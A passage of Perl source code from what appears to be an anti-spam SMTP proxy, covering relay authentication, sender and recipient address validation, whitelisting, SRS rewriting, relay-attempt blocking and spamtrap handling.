                                    mechanism => $this->{AUTHmechanism},
                                    callback  => {
                                    user     => $relayAuthUser,
                                    pass     => $relayAuthPass,
                                    authname => $relayAuthUser
                                },
                                debug => $ThreadDebug
                )->client_new('smtp');
            @{$this->{AUTHclient} . 'AUTHclient'} = ();
            my $str = $this->{AUTHclient}->client_start;
            push (@{$this->{AUTHclient} . 'AUTHclient'}, MIME::Base64::encode_base64($str, ''))
                 if defined $str and length $str;

            NoLoopSyswrite($server,'AUTH ' . $this->{AUTHclient}->mechanism . "\r\n");
            $friend->{getline} = \&replyAUTH;

            return;
        }
# end authentication on relayserver

        #enforce valid email address pattern



		if ( $RO_e && $CanUseAddress && $DoRFC522Sender && !$this->{relayok}) {
			if ($RO_e && $RO_e !~ /\.($TLDSRE|local)\b/i  && $RO_e !~/$defaultLocalHost$/i ) {
               # no valid TLD

                $this->{prepend} = "[MalformedAddress]";
                mlog( $fh, "malformed address: invalid TLD in '$RO_e'"  );
                $Stats{mxaMissing}++;

                delayWhiteExpire($fh);
                NoLoopSyswrite( $fh, "553 TLD invalid in '$RO_e'\r\n" );

                $this->{messagereason}="invalid TLD";
				pbAdd($fh,$this->{ip},'mxaValencePB',"invalidTLD");

                done($fh);
                return;
   
			} 
        } 
        my $valid;
        if ( $RO_e !~ /$defaultLocalHost/i && $RO_e && $CanUseAddress && $DoRFC522Sender && !$this->{relayok} && $RO_e !~/^SRS/) {
			
            eval { $valid = Email::Valid->address($RO_e); };
            if ( !$valid && !$@) {
				
                # couldn't understand sender
 
            	$this->{prepend} = "[MalformedAddress]";
                mlog( $fh, "malformed address: '$RO_e' - failed $Email::Valid::Details check" );
                $Stats{mxaMissing}++;

                delayWhiteExpire($fh);
                NoLoopSyswrite( $fh, "553 Malformed address: $RO_e\r\n" );

            	$this->{messagereason}="Malformed address";
				pbAdd($fh,$this->{ip},'mxaValencePB',"MalformedAddress");

                done($fh);
                return;

            }

        }    # reset everything

        $this->{mailfrom} = $fr;
        my $t    = time;
        my $mf   = lc $this->{mailfrom};
        $mf = batv_remove_tag($fh,$mf,'');
        $this->{mailfrom} = $mf;
        

        my $mfd;
        $mfd = $1 if $mf=~/\@(.*)/o;
        my $mfdd;
        $mfdd = $1 if $mf=~/(\@.*)/o;


        
		$wildcardUser = lc $wildcardUser;
        my $alldd        = "$wildcardUser$mfdd";
        my $defaultalldd = "*$mfdd";


        if($l=~/SIZE=(\d*)\s/io) {
            my $size = $1;
            $this->{SIZE}=$size;
 #           mlog($fh,"info: found message size announcement: " . &formatNumDataSize($size)) if $SessionLog == 2;

            if ( ($this->{relayok} && $maxSize
                    && ( $size > $maxSize )) or (!$this->{relayok} && $maxSizeExternal
                    && ( $size > $maxSizeExternal )))
            {
                my $max = $this->{relayok} ? &formatNumDataSize($maxSize) : &formatNumDataSize($maxSizeExternal);
                my $err = "552 message exceeds MAXSIZE";
                mlog( $fh, "error: message exceeds maxSize $max!" );
                $err = $maxSizeError if ($maxSizeError);
                $err =~ s/MAXSIZE/$max/go;
                NoLoopSyswrite( $fh, "$err\r\n" );
        		done($fh);

                return;
            }

            if ($this->{relayok}) {
                if ($npSizeOut && $size > $npSizeOut) {
                    $this->{ismaxsize}=1;

                    if (localmail($mf)) {
                        $this->{noprocessing}=2;
                        
#                        mlog($fh,"message proxied without processing - message size ($size) is above $npSizeOut (npSizeOut).",1);
                        $this->{passingreason} = "message size ($size) is above $npSizeOut (npSizeOut)";
                    }
                }
            } else {
                if ($npSize && $size > $npSize) {
                    $this->{ismaxsize}=1 ;
                    $this->{noprocessing}=1;
#                    mlog($fh,"message proxied without processing - message size ($size) is above $npSize (npSize).",1);
                    $this->{passingreason} = "message size ($size) is above $npSize (npSize)";
                }
            }
        }
        $this->{doneAuthToRelay} = 1 if($l=~/ AUTH=.+/io);
        
########################################## !relayok ############

        $this->{externalsenderok} = 1 if ( $EmailSenderOK && matchSL( $mf, 'EmailSenderOK' ) );
        $this->{externalsenderok} = 1 if ( $EmailAdmins && matchSL( $mf, 'EmailAdmins' ) );
        $this->{externalsenderok} = 1 if ( $EmailAdminReportsTo && $mf =~ /$EmailAdminReportsTo/i );

        $this->{senderok} = 2 if ( $EmailSenderNotOK && matchSL( $mf, 'EmailSenderNotOK' ) ) ;
        $this->{senderok} = 3 if ( $EmailSenderIgnore && matchSL( $mf, 'EmailSenderIgnore' ) ) ;

		$this->{noreply} = 1 if ( $EmailSenderNoReply && matchSL( $mf, 'EmailSenderNoReply' ) ) ;
		if (   matchSL( $mf, 'EmailAdmins', 1 )
            or $mf eq lc($EmailAdminReportsTo) )
        {
        
            $this->{adminok} = 1;
        }
        


        if (!$this->{relayok}) {
			eval {
            if ($allLogRe
                && (   $mf =~ /$allLogReRE/
                    || $this->{ip}   =~ /$allLogReRE/
                    || $this->{helo} =~ /$allLogReRE/)
              ) {
               $this->{alllog}=1;
            }
            };
            eval {
            if(!$this->{contentonly} && $contentOnlyRe && $this->{header}=~/($contentOnlyReRE)/) {
                mlogRe($fh,($1||$2),"Contentonly");
                pbBlackDelete($fh,$this->{ip});
                $this->{contentonly}=1;
                $this->{ispip}=1;
            }
			};
			
            if ($Con{$server}->{relayok} && $WhitelistAuth){
                $this->{whitelisted}="authenticated";
                $this->{passingreason} = "authenticated";

                # whitelist authenticated users
            }
            $this->{red} = $this->{redlist} = "$mf in RedList"
              if ( $Redlist{"$alldd"}
                || $Redlist{"$defaultalldd"}
                || $Redlist{"$mf"} );


			if (  $noNoProcessing 

                && matchSL( $mf, 'noNoProcessing' ) )
            {

                $this->{nonoprocessing}  = 1;
  
            }
            if (   !$this->{noprocessing} 
                && $noProcessing
                && !$this->{nonoprocessing}
                && matchSL( $mf, 'noProcessing' ) )
            {

                $this->{noprocessing}  = 1;
                $this->{passingreason} = "noProcessing";
            }
            
            if (   !$this->{noprocessing}
                && $noProcessingFrom
                && !$this->{nonoprocessing}
                && matchSL( $mf, 'noProcessingFrom' ) )
            {

                $this->{noprocessing}  = 1;
                $this->{passingreason} = "noProcessingFrom";
            }
            
            if (   !$this->{noprocessing}
                && $noProcessingDomains

                && $mf =~ ( '(' . $NPDRE . ')' ) )
            {

                $this->{noprocessing}  = 1;
                mlogRe( $fh, $1, "noProcessingDomains" );
                $this->{passingreason} = "noProcessingDomains";
            }

            if ($noProcessingIPs
                && matchIP( $this->{ip}, 'noProcessingIPs', $fh )
                && !$this->{nonoprocessing}
                 )
            {
                $this->{noprocessing}  		= 1;
                $this->{noprocessingip}  	= 1;
                $this->{white}  			= 1;
                $this->{passingreason} 		= "noProcessingIPs";
            }
            


		$this->{localuser} = localmail($mf);
		if (   !$this->{noprocessing} ) {

            if (! $this->{whitelisted} && &Whitelist($mf) && !$this->{localuser}) {
                &Whitelist($mf,undef,'add');
                $this->{whitelisted}="$mf";
                $this->{passingreason} = "whitelistdb '$mf'" if !$this->{passingreason};
            }
            if (! $this->{whitelisted} && $whiteListedDomains && $mf=~/($WLDRE)/) {
                mlogRe($fh,($1||$2),"WhiteDomain") ;
                $this->{whitedomain}= $1||$2;
                $this->{passingreason} = "whiteListedDomains '$this->{whitedomain}'";
                $this->{whitelisted}="whiteListedDomains '$this->{whitedomain}'";
                
                
            }
    		if (!$this->{whitelisted} && $whiteReRE ) {
        		WhiteOk($fh);
    		}
            
            if (! $this->{whitelisted} && (&Whitelist($alldd) || &Whitelist($defaultalldd)) && ! localmail($mf)) {
                mlogRe($fh,$mfdd,"$wildcardUser") ;
                $this->{whitelisted} = "$alldd";
                &Whitelist($alldd,undef,'add');
                &Whitelist($defaultalldd,undef,'add');
                &Whitelist($mfdd,undef,'add');
                $this->{passingreason}    = "$alldd";
            }

            my $ret = matchIP( $this->{ip}, 'whiteListedIPs', $fh );
            if (  $whiteListedIPs && $ret )
            {
                $this->{whitelisted}   	= "whiteListedIPs '$ret'";
                $this->{white}   		= 1;
                $this->{whiteip}   		= 1;
                $this->{passingreason} = "whiteListedIPs '$ret'";
            }
		


          
            $this->{ispip} = 1 if ( matchIP( $this->{ip}, 'ispip', $fh ) );
            $this->{nopb}  = 1 if ( matchIP( $this->{ip}, 'noPB',  $fh ) );
            
            
            if ( matchIP( $this->{ip}, 'noPBwhite', $fh ) ) {
              	$this->{messagereason} = "noPBwhite";

				$this->{nopbwhite} = 1;
			}
				
			if (pbWhiteFind( $this->{ip} ) && !$this->{nopbwhite}) {
            	$this->{pbwhite} = 1;
            	$this->{messagereason} = "PBwhite";
            	
  			}
  			
            $this->{nohelo} = 1 if ( matchIP( $this->{ip}, 'noHelo', $fh ) );
            $this->{mHBIRE} = 1
              if ( $heloBlacklistIgnore && $this->{helo} =~ $HBIRE );
              
            if ($this->{mailfrom}=~/$BSRE/) {
                $this->{prepend} = '[isbounce]';
#                mlog($fh,"bounce message detected") if (! $this->{isbounce} && ! $this->{relayok});
                $this->{isbounce}=1;
            }

            $this->{nodelay} = 'noDelay' if matchIP( $this->{ip}, 'noDelay', $fh );
            $this->{nodelay} = 'noDelayAddresses' if matchSL($this->{mailfrom},'noDelayAddresses');
            $this->{acceptall} = 1
              if matchIP( $this->{ip}, 'acceptAllMail', $fh );
            $this->{noblockingips} = 1
              if matchIP( $this->{ip}, 'noBlockingIPs', $fh );

            if ( $this->{whitelisted} ) {
                pbBlackDelete( $fh, $this->{ip} );

                pbWhiteAdd( $fh, $this->{ip}, "Whitelisted" );
            }
            if ( $this->{noprocessing} ) {
                pbBlackDelete( $fh, $this->{ip} );

                pbWhiteAdd( $fh, $this->{ip}, "NoProcessing" );
            }
            
            my $ip=$this->{ip};

            my $myip = &ipNetwork( $ip, $PenaltyUseNetblocks );
            my ( $ct, $ut, $level, $totalscore, $sip, $reason, $counter ) =
              split( ' ', $PBBlack{$myip} );


            $this->{pbblack} = 1 if pbBlackFind( $this->{ip} );
            
            if (!$this->{relayok}) {
            	if (! &DomainIPOK($fh)) {
            		$this->{skipnotspam} = 0;return;
        		}
            
				if (! &FrequencyIPOK($fh)) {
            		$this->{skipnotspam} = 0;return;
        		}
			}
			
			
            $ip = $this->{ip};
            my $reply;
            



           
            }
        }

############################################ ##############################

        #if (serverIsSmtpDestination($server)) {
        #$this->{isbounce}=($this->{mailfrom}=~$BSRE ? 1 : 0);
        #} elsif ($EnableSRS && $CanUseSRS) {
         if ($EnableSRS &&
            $CanUseSRS  &&
            $this->{relayok} &&
            ! localmail($this->{mailfrom}) &&
            $this->{mailfrom} !~ $BSRE &&
            ! ($SRSno && $this->{mailfrom} && matchSL($this->{mailfrom},'SRSno'))) 
			{
 
            # rewrite sender addresses when relaying through Relay Host
            my $tmpfrom;
            $this->{prepend} = "";
            my $srs = new Mail::SRS(
                Secret        => $SRSSecretKey,
                MaxAge        => $SRSTimestampMaxAge,
                HashLength    => $SRSHashLength,
                AlwaysRewrite => 1
            );
            if (
                !eval { $tmpfrom = $srs->reverse( $this->{mailfrom} ) }
                && eval {
                    $tmpfrom =
                      $srs->forward( $this->{mailfrom}, $SRSAliasDomain );
                }
              )
            {
                mlog(
                    $fh,
                    "SRS rewriting sender '$this->{mailfrom}' into '$tmpfrom'",
                    1
                );
                $l =~ s/\Q$this->{mailfrom}\E/$tmpfrom/;
            } else {
                mlog( $fh, "SRS rewriting sender '$this->{mailfrom}' failed!",
                    1 );
            }
        }
    } elsif(($l=~/^ *(VRFY|EXPN) *(.*)/io && $DisableVRFY) 
    		or 
    		($l=~/^\s*(AUTH)/io  && $DisableAUTH)) {
        $this->{lastcmd} = $1;
        my $e=$2;
        push(@{$this->{cmdlist}},$this->{lastcmd}) if $ConnectionLog >= 2;

        if ( !$this->{relayok} )
        {
            sendque($fh, "502 $this->{lastcmd} not supported\r\n");
            $this->{prepend}="[unsupported_$this->{lastcmd}]";
            mlog($fh,"$this->{lastcmd} not allowed");
            if($MaxErrors && ++$this->{serverErrors} > $MaxErrors) {
                delayWhiteExpire($fh);
                NoLoopSyswrite( $fh, "502 $this->{lastcmd} not supported\r\n" );
                $this->{prepend}="[MaxErrors]";
                $this->{messagereason}="max errors ($MaxErrors) exceeded";
                mlog($fh,"max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection after $this->{lastcmd}");
                pbAdd($fh,$this->{ip},'meValencePB',"MaxErrors",0);
                $Stats{msgMaxErrors}++;
                done($fh);
            }
            return;
        }

        my ($u,$h);
        my ($str, $gen, $day, $hash, $orig_user) = ($e =~ /(prvs=(\d)(\d\d\d)(\w{6})=(.*))/o);
        $l =~ s/$str/$orig_user/ if ($orig_user);  # remove BATV-Tag from VRFY address

        # recipient replacment should be done next to here !
        if ($ReplaceRecpt) {
            if ($l=~/ *(?:VRFY|EXPN)\s*<*([^\r\n>]*).*/io) {
                my $midpart  = $1;
                my $orgmidpart = $midpart;
                if ($midpart) {
                  my $bpa = 0;
                  if($EnableBangPath && $midpart=~/([a-z\-_\.]+)!([a-z\-_\.]+)$/io) {
                      $midpart = "$2@$1";
                  }
                  my $mf = batv_remove_tag(0,lc $this->{mailfrom},'');
                  my $newmidpart = RcptReplace($midpart,$mf,'RecRepRegex');
                  if (lc $newmidpart ne lc $midpart) {
                      $l =~ s/$orgmidpart/$newmidpart/i;
                      mlog($fh,"info: $this->{lastcmd} recipient $orgmidpart replaced with $newmidpart");
                  }
                }
            }
        }
    } elsif ( $l =~ /rcpt to: *(.*)/i ) {
        my $e = $1;
        $e = batv_remove_tag(0,$e,'');
        my ( $u, $h );

        #enforce valid email address pattern
        
        if ( $l =~ /rcpt to:\s*<*([^\r\n>]*).*/i ) {
                my $RO_e = $1;
                if ( $RO_e =~ /($BlockLocalAddressesReRE)/ && $this->{relayok}) {

                   
                    sendque( $fh, "553 Malformed address: $RO_e\r\n" );
                    $this->{prepend} = "[BlockedLocal]";
                    mlog( $fh, "address '$RO_e'  blocked by BlockLocalAddressesRe: '$1'" );
                    $Stats{rcptRelayRejected}++;
                    delayWhiteExpire($fh);
                    return;
                }
        }
        
        if ( $EnableSRS && $CanUseSRS ) {
            if ( $this->{isbounce} ) {

                # validate incoming bounces
                my $tmpto;
                my $srs = new Mail::SRS(
                    Secret        => $SRSSecretKey,
                    MaxAge        => $SRSTimestampMaxAge,
                    HashLength    => $SRSHashLength,
                    AlwaysRewrite => 1
                );
                if ( $e =~ /^<?(SRS0[=+-][^\r\n>]*).*/i ) {
                    if ( eval { $tmpto = $srs->reverse($1) } ) {
                        $l =~ s/\Q$1\E/$tmpto/;
                        $e = <$tmpto>;
                    } else {
                        $this->{invalidSRSBounce} = 1;
                    }
                } elsif ($e=~/^<?(SRS1[=+-][^\r\n>]*)/io) {
                    if (eval{$tmpto=$srs->reverse($1)}) {
                        if (eval{$_=$srs->reverse($tmpto)}) {
                            $l=~s/\Q$1\E/$_/;
                            $e=<$_>;
                        } else {
                            $this->{prepend}="[RelayAttempt]";
                            $this->{messagereason} = "user not local; please try <$tmpto> directly";
                            mlog( $fh, $this->{messagereason} );
                            $Stats{rcptRelayRejected}++;
                            pbAdd($fh,$this->{ip},'rlValencePB','RelayAttempt',0);
                            if($MaxErrors && ++$this->{serverErrors} > $MaxErrors) {
                                NoLoopSyswrite( $fh, "551 5.7.1 User not local; please try <$tmpto> directly\r\n421 <$myName> closing transmission\r\n" );
                                $this->{prepend}="[MaxErrors]";
                                $this->{messagereason}="max errors ($MaxErrors) exceeded";
                                mlog($fh,"max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection - after SRS");
                                pbAdd($fh,$this->{ip},'meValencePB','MaxErrors',0);
                                $Stats{msgMaxErrors}++;
                                done($fh);
                                return;
                            }
                            sendque($fh,"551 5.7.1 User not local; please try <$tmpto> directly\r\n");
                            return;
                        }
                    } else {
                        $this->{invalidSRSBounce}=1;
                    }
                } else {
                    $this->{invalidSRSBounce} = 1;
                }
            } elsif ( &serverIsSmtpDestination($server) && $e=~/^<?(SRS[01][=+-][^\r\n>]*)/io) {
                $this->{prepend}="[RelayAttempt]";
                $this->{messagereason} = "SRS only supported in DSN: $e";
                mlog( $fh, $this->{messagereason} );
                $Stats{rcptRelayRejected}++;
                pbAdd($fh,$this->{ip},'rlValencePB','RelayAttempt',0);
                if($MaxErrors && ++$this->{serverErrors} > $MaxErrors) {
                    NoLoopSyswrite( $fh, "554 5.7.6 SRS only supported in DSN\r\n421 <$myName> closing transmission\r\n" );
                    $this->{prepend}="[MaxErrors]";
                    $this->{messagereason}="max errors ($MaxErrors) exceeded";
                    mlog($fh,"max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection - after SRS-DSN");
                    pbAdd($fh,$this->{ip},'meValencePB','MaxErrors',0);
                    $Stats{msgMaxErrors}++;
                    done($fh);
                    return;
                }
                sendque($fh,"554 5.7.6 SRS only supported in DSN\r\n");
                return;
            }
        }
        if ( $e !~ /ORCPT/ && $e =~ /[\!\@]\S*\@/ ) {

            # blatent attempt at relaying
            

            $this->{prepend}       = "[RelayAttempt]";
            my $reply = $NoRelaying;            
            $reply =~ s/REASON/relay attempt: $e/g;
            $reply = replaceerror ($fh, $reply);


            $this->{messagereason} = "relay attempt blocked for (evil): $e";
            mlog( $fh, $this->{messagereason} );
            pbAdd( $fh, $this->{ip}, 'rlValencePB', "RelayAttempt");
            $Stats{rcptRelayRejected}++;
            delayWhiteExpire($fh);

            NoLoopSyswrite( $fh, $NoRelaying."\r\n421 <$myName> closing transmission\r\n" );
			done($fh);
            return;

			if($MaxErrors && ++$this->{serverErrors} > 1) {
                delayWhiteExpire($fh);
                NoLoopSyswrite( $fh, $reply."\r\n421 <$myName> closing transmission\r\n" );
                $this->{prepend}="[MaxErrors]";
                $this->{messagereason}="max errors  exceeded";
                mlog($fh,"max errors (MaxErrors=1) exceeded -- dropping connection - after ORCPT" );
                pbAdd($fh,$this->{ip},'meValencePB','MaxErrors',0);
                $Stats{msgMaxErrors}++;
                done($fh);
                return;
            }
			
			sendque($fh, $reply."\r\n");


            return;
        } elsif ( $EnableBangPath && $e =~ /([a-z\-_\.]+)!([a-z\-_\.]+)$/i ) {

   # someone give me one good reason why I should support bang paths! grumble...
            $u = "$2@";
            $h = $1;

        } elsif ( $l =~ /rcpt to:.*?($EmailAdrRe\@)($EmailDomainRe)/io ) {
            ( $u, $h ) = ( $1, $2 );
#            mlog($fh,"2 $e u$u h=$h");
        } elsif ( $defaultLocalHost && $l =~ /rcpt to:.*?<($EmailAdrRe)>/io ) {
            ( $u, $h ) = ( $1, $defaultLocalHost );
            $u .= '@';

        } elsif($l=~/rcpt to:[^\r\n]*?(\"$EmailAdrRe\"\@)($EmailDomainRe)/io) {
            ($u,$h)=($1,$2);
            my $buh = batv_remove_tag(0,"$u$h",'');
            $buh =~ /($EmailAdrRe\@)($EmailDomainRe)/io;
            ($u,$h)=($1,$2);
            $u =~ s/\"//go;

        } else {

            # couldn't understand recipient

            $this->{prepend}       = "[RelayAttempt]";
            $this->{messagereason} = "relay attempt blocked for (parsing): $e";
            mlog( $fh, $this->{messagereason} ) if $RelayLog;

            $Stats{rcptRelayRejected}++;

            if ($NoRelayingStrict) {
                NoLoopSyswrite( $fh, $NoRelaying."\r\n421 <$myName> closing transmission\r\n" );
				done($fh);
                return;
			}
			sendque( $fh,"551 5.7.1 $this->{messagereason}\r\n");
            
            if(++$this->{serverErrors} >= 2 && !$this->{noprocessing} && !$this->{ispip} && !$this->{relayok}) {
                $this->{prepend}       = "[MaxErrors]";
                delayWhiteExpire($fh);
                my $reply = $SpamError;            
            	$reply =~ s/REASON/relay attempt: $e/g;
            	$reply = replaceerror ($fh, $reply);
            
                NoLoopSyswrite( $fh, $reply."\r\n421 <$myName> closing transmission\r\n" );
                $this->{messagereason} = "max errors exceeded";
                mlog( $fh,
                    "max errors ( 2 ) reached -- dropping connection after relay attempt blocked for (parsing)" ) if $RelayLog;
                pbAdd( $fh, $this->{ip}, 'meValencePB', "MaxErrors", 2 );
                $Stats{msgMaxErrors}++;
                done($fh);
            }

            return;
        }
        # recipient replacment should be done next to here !
        if ($ReplaceRecpt) {
            if ($l=~/rcpt to:\s*<*([^\r\n>]*)/io) {
                my $midpart  = $1;
                $midpart = batv_remove_tag(0,$midpart,'');
                my $orgmidpart = $midpart;
                if ($midpart) {
                  my $bpa = 0;
                  if($EnableBangPath && $midpart=~/([a-z\-_\.]+)!([a-z\-_\.]+)$/io) {
                      $midpart = "$2@$1";
                  }
                  my $mf = $this->{mailfrom};
                  $mf = batv_remove_tag(0,$mf,'');
                  my $newmidpart = RcptReplace($midpart,$mf,'RecRepRegex');
                  if (lc $newmidpart ne lc $midpart) {
                      $l =~ s/\Q$orgmidpart\E/$newmidpart/i;
                      mlog($fh,"info: recipient $orgmidpart replaced with $newmidpart");
                      $this->{myheader}.="X-Assp-Recipient: recipient $orgmidpart replaced with $newmidpart\r\n";
                      $this->{orgrcpt} = $orgmidpart;
                  }
                }
            }
            $l=~/rcpt to: *([^\r\n]*)/io;
            $e = batv_remove_tag(0,$1,'');
        }

        if ( matchSL( "$u$h", 'noCollecting' ) ) {
                $this->{nocollect} = 1;
        }

         #enforce valid email address pattern
        if ( $CanUseAddress && $DoRFC822 ) {
  
            if ($e=~/<*([^\r\n>]*)/io) {
                my $RO_e=$1;
                $RO_e = "$RO_e" . "@" . "$defaultLocalHost" if $defaultLocalHost && $RO_e !~ /\@/i;
                if ($RO_e !~/$defaultLocalHost/i && $RO_e !~ /RSBM_.*?x2DXx2DX\d+\Q$maillogExt\E\@/i && ! Email::Valid->address($RO_e)) {

                    # couldn't understand recipient
                    
                    $this->{prepend} = "[MalformedAddress]";
                    mlog($fh,"malformed address: '$RO_e' - failed $Email::Valid::Details check");
                    $Stats{rcptRelayRejected}++;
                    if($MaxErrors && ++$this->{serverErrors} > $MaxErrors) {
                        delayWhiteExpire($fh);
                        NoLoopSyswrite( $fh, "553 Malformed address: $u$h\r\n421 <$myName> closing transmission\r\n" );
                        $this->{prepend}="[MaxErrors]";
                        $this->{messagereason}="max errors ($MaxErrors) exceeded";
                        mlog($fh,"max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection after Email::Valid") if $ValidateUserLog;
                        pbAdd($fh,$this->{ip},'meValencePB',"MaxErrors",0);
                        $Stats{msgMaxErrors}++;
                        done($fh);
                        return;
                    }
                    sendque( $fh, "553 Malformed address: $u$h\r\n" );
                    return;
                }
            }
        }
        my $rcptislocal = localmail($h);
		my ($mfd) = $this->{mailfrom} =~ /(\@.*)/;
		my $all = "*" . $mfd;
        if ($rcptislocal) {

            if ( lc $u eq "abuse\@" && $sendAllAbuse ) {

                # accept abuse catchall addresses
                if ($sendAllAbuse=~/$EmailAdrRe\@($EmailDomainRe)/io) {
                    $h=$1;
                    $l="RCPT TO:\<$sendAllAbuse\>\r\n";
                    $this->{noprocessing}=1 if $sendAllAbuseNP;
                }
            } elsif ( lc $u eq "postmaster\@" && $sendAllPostmaster ) {

                # accept postmaster catchall addresses
                if ($sendAllPostmaster=~/$EmailAdrRe\@($EmailDomainRe)/io) {
                    $h=$1;
                    $l="RCPT TO:\<$sendAllPostmaster\>\r\n";
                    $this->{noprocessing}=1 if $sendAllPostmasterNP;
                }
            } elsif ($AllowLocalAddressesRe && $AllowLocalAddressesReCount && "$u$h" !~ $AllowLocalAddressesReRE) {
            	my $reply = $NoValidRecipient;
				$reply = "550 5.1.1 User unknown: $u$h\r\n" if !$NoValidRecipient;
				$reply = replaceerror ($fh, $reply, "$u$h" );
				$this->{messagereason} = "rejected by AllowLocalRe: $u$h";
				mlog( $fh, $this->{messagereason},1 )
                  if $this->{alllog} or $ValidateUserLog == 1 or $ValidateUserLog == 2;
                 
                $Stats{rcptNonexistent}++;

                
                pbAdd( $fh, $this->{ip}, 'irValencePB', "InvalidAddress" ) if !$this->{nonoprocessing};
				sendque( $fh, "$reply\r\n" );

				if(++$this->{serverErrors} >= $MaxErrors ) {
                	$this->{prepend}       = "[MaxErrors]";
                	$this->{messagereason} = "max errors (MaxErrors=$MaxErrors) exceeded";
                	mlog( $fh,
                    "max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection after rejection by DoPenaltyMakeTraps" ) if $RelayLog or $ValidateUserLog;
                	pbAdd( $fh, $this->{ip}, 'meValencePB', "MaxErrors");
                	$Stats{msgMaxErrors}++;
                	done($fh);
            	}

                return;
            } elsif ($DoPenaltyMakeTraps==3 && pbTrapExist($fh,"$u$h") ) {
            	my $reply = $NoValidRecipient;
				$reply = "550 5.1.1 User unknown: $u$h\r\n" if !$NoValidRecipient;
				$reply = replaceerror ($fh, $reply, "$u$h" );
				$this->{messagereason} = "rejected by DoPenaltyMakeTraps(3): $u$h";
				mlog( $fh, $this->{messagereason},1 )
                  if $this->{alllog} or $TrapLog;
                 
                $Stats{rcptNonexistent}++;
                pbTrapAdd( $fh, "$u$h" );
                
                pbAdd( $fh, $this->{ip}, 'irValencePB', "InvalidAddress" ) if !$this->{nonoprocessing};
				sendque( $fh, "$reply\r\n" );

				if(++$this->{serverErrors} >= $MaxErrors ) {
	
                	$this->{prepend}       = "[MaxErrors]";
                	$this->{messagereason} = "max errors (MaxErrors=$MaxErrors) exceeded";
                	mlog( $fh,
                    "max errors (MaxErrors=$MaxErrors) exceeded -- dropping connection after rejection by DoPenaltyMakeTraps" ) if $RelayLog or $ValidateUserLog;
                	pbAdd( $fh, $this->{ip}, 'meValencePB', "MaxErrors");
                	$Stats{msgMaxErrors}++;
                	done($fh);
            	}

                return;
            } elsif ( matchSL( "$u$h", 'RejectTheseLocalAddresses' ) ) {
            	my $reply = $NoValidRecipient;
				$reply = "550 5.1.1 User unknown: $u$h\r\n" if !$NoValidRecipient;
				$reply = replaceerror ($fh, $reply, "$u$h" );
				$Stats{rcptNonexistent}++;

                $this->{prepend} = "[BounceAddress]";
                mlog( $fh, "rejected by bounce address list: $u$h" )
                  if $this->{alllog} or $ValidateUserLog == 1 or $ValidateUserLog == 2;
                delayWhiteExpire($fh);
                seterror( $fh, $reply, 1 );
            	
                return;
            } elsif ( matchSL( "$u$h", 'ScoreTheseLocalAddresses' ) ) {

                $this->{scoreonly} = "$u$h";

            } elsif ( !$this->{relayok} && $InternalAddresses && matchSL( "$u$h", 'InternalAddresses' ) ) {

                $this->{prepend} = "[InternalAddress]";
                mlog( $fh, "address: $u$h for internal use only") if $this->{alllog} or $ValidateUserLog == 1 or $ValidateUserLog == 2;
;
            	$Stats{internaladdresses}++;
            	delayWhiteExpire($fh);
            	done($fh);
            	return;
			} elsif (!$this->{addressedToSpamBucket} && ($spamaddresses
                	&& !$this->{nocollect}
                	&& matchSL( "$u$h", 'spamaddresses' ) )
                	or ($DoPenaltyMakeTraps==2 && &pbTrapFind("$u$h"))
                        or ($UseTrapToCollect && $spamtrapaddresses && matchSL("$u$h",'spamtrapaddresses'))) {
                $this->{addressedToSpamBucket}="$u$h";
                $this->{messagescore} = $MessageScoringUpperLimit + 11;

				$this->{newsletterre}		= '';

                $l="RCPT TO:\<$u$h\>\r\n";

 			} elsif (!$this->{addressedToSpamBucket} &&
 				!matchSL( "$u$h", 	'noPenaltyMakeTraps' ) && ((($spamtrapaddresses && matchSL("$u$h",'spamtrapaddresses')) or (!$Whitelist{lc $this->{mailfrom} } && $DoPenaltyMakeTraps==1 && pbTrapFind($fh,"$u$h")) ) &&   !$this->{relayok} && !$this->{nocollect}  && !$this->{acceptall})) {
 				
                $this->{addressedToPenaltyTrap} = 1;
                $this->{prepend} = "[Trap]";
                pbWhiteDelete( $fh, $this->{ip} );

                $this->{messagereason} = "$u$h in spamtrapaddresses";
                mlog( $fh,"$this->{messagereason}") if $TrapLog >=2;

                pbAdd( $fh, $this->{ip}, $stValencePB, "spamtrap:$u$h", 2 );
                if ( $SpamTrap2NULL) {
                	$Stats{penaltytrap}++;
                	delayWhiteExpire($fh);
                    $this->{getline} = \&NullFromToData;
                    &NullFromToData( $fh, $l );
                    done($fh);
                    return;
                }
                if ($TrapReply) {
                    $reply = $TrapReply;
                    $reply =~ s/EMAILADDRESS/$u$h/go;
                    $reply =~ s/LOCALDOMAIN/$h/go;
                    $reply = replaceerror ($fh, $reply);
                	seterror( $fh, "$reply", 1 );
                
                }
                
                $Stats{penaltytrap}++;
                delayWhiteExpire($fh);
                done($fh);
                return;
           
            	}


        } 

        if ($noProcessing) {

            $this->{rcptnoprocessing} = "";

            if ( matchSL( "$u$h", 'NoProcessing' ) ) {
                mlogRe( $fh, "$u$h", "NoProcessingList" );
				$this->{uhnoprocessing}=1 if $LocalAddressesNP;
                $this->{delaydone}        = 1;
                $this->{rcptnoprocessing} = 1;
            }
        }
#		mlog( $fh, "$u $h");
        my $isEmailInterface =
                 (  (lc $u =~ /assp-/  or localmail($h) or lc $h eq lc $defaultLocalHost)
                    && (   lc $u eq lc "$EmailSpam\@"
                        || lc $u eq lc "$EmailHam\@"
                        || lc $u eq lc "$EmailWhitelistAdd\@"
                        || lc $u eq lc "$EmailWhitelistRemove\@"
                        || lc $u eq lc "$EmailRedlistAdd\@"
                        || lc $u eq lc "$EmailHelp\@"
                        || lc $u eq lc "$EmailAnalyze\@"
                        || lc $u eq lc "$EmailRedlistRemove\@"
                        || lc $u eq lc "$EmailSpamLoverAdd\@"
                        || lc $u eq lc "$EmailSpamLoverRemove\@"
                        || lc $u eq lc "$EmailNoProcessingAdd\@"
                        || lc $u eq lc "$EmailNoProcessingRemove\@"
                        || lc $u eq lc "$EmailBlackAdd\@"
                        || lc $u eq lc "$EmailBlackRemove\@"
                        || lc $u eq lc "$EmailPersBlackAdd\@"
                        || lc $u eq lc "$EmailPersBlackRemove\@"
                        || lc $u =~ /^RSBM.+?$maillogExt\@$/i
                        || lc $u eq lc "$EmailBlockReport\@"

                       )
                 );
		my $emailok;
        $emailok = 1
          if (   $EmailInterfaceOk
              && $this->{senderok} ne '2'
              && $this->{senderok} ne '3'
